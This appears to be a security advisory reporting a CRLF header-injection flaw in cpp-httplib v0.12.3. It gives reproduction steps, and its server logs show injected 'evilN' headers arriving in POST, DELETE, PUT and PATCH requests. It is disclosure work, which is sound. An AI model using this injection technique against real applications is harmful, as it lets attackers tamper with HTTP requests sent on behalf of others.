Project: cpp-httplib
Tested Version: v0.12.3
(commit f977558a28d6db893cf42131c33d025fa17458e1
)
Github Repository: https://github.com/yhirose/cpp-httplib
cpp-httplib
is vulnerable to CRLF Injection when untrusted user input is used to set the content-type header in the HTTP .Patch
, .Post
, .Put
and .Delete
requests. An attacker can add the \r\n
(carriage return line feeds) characters and inject additional headers in the request sent.
The fix introduced here (https://github.com/yhirose/cpp-httplib/commit/85327e19ae7e72028c30917247238d638ce56d0b) to check for CRLF characters is applied in the Request::set_header
method but not in the following places:
- https://github.com/yhirose/cpp-httplib/blob/f977558a28d6db893cf42131c33d025fa17458e1/httplib.h#L6738
- https://github.com/yhirose/cpp-httplib/blob/f977558a28d6db893cf42131c33d025fa17458e1/httplib.h#L7427
More reference about this vulnerability and its impact:
- https://owasp.org/www-community/vulnerabilities/CRLF_Injection
- https://cwe.mitre.org/data/definitions/113.html
Reference to similar issues affecting other projects:
- https://security.snyk.io/vuln/SNYK-SWIFT-SWIFTSERVERASYNCHTTPCLIENT-3237994
- https://security.snyk.io/vuln/SNYK-JS-UNDICI-2980276
- download the project and extract in a folder
- in the same folder of the downloaded project, create a server to log incoming requests and print headers:
g++ server_log.cpp -o server_log
./server_log
- in the same folder of the downloaded project, create a client with headers containing CRLF sequences (in the PoC below the additional header
evilX: helloX
is sent):
g++ client.cpp -o client
./client
Server output:
================================
POST HTTP/1.1 /test1
Accept: */*
Connection: close
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
evil1: hello1
Host: 0.0.0.0:8080
LOCAL_ADDR: 127.0.0.1
LOCAL_PORT: 8080
REMOTE_ADDR: 127.0.0.1
REMOTE_PORT: 50972
User-Agent: cpp-httplib/0.12.3
================================
DELETE HTTP/1.1 /test2
Accept: */*
Connection: close
Content-Length: 3
Content-Type: text/plain
evil2: hello2
Host: 0.0.0.0:8080
LOCAL_ADDR: 127.0.0.1
LOCAL_PORT: 8080
REMOTE_ADDR: 127.0.0.1
REMOTE_PORT: 50982
User-Agent: cpp-httplib/0.12.3
================================
PUT HTTP/1.1 /test3
Accept: */*
Connection: close
Content-Length: 4
Content-Type: text/plain
evil3: hello3
Host: 0.0.0.0:8080
LOCAL_ADDR: 127.0.0.1
LOCAL_PORT: 8080
REMOTE_ADDR: 127.0.0.1
REMOTE_PORT: 50984
User-Agent: cpp-httplib/0.12.3
================================
PATCH HTTP/1.1 /test4
Accept: */*
Connection: close
Content-Length: 7
Content-Type: text/plain
evil4: hello4
Host: 0.0.0.0:8080
LOCAL_ADDR: 127.0.0.1
LOCAL_PORT: 8080
REMOTE_ADDR: 127.0.0.1
REMOTE_PORT: 50988
User-Agent: cpp-httplib/0.12.3
If untrusted user input is placed in header values, a malicious user could inject additional headers. It can lead to logical errors and other misbehaviours.
Alessio Della Libera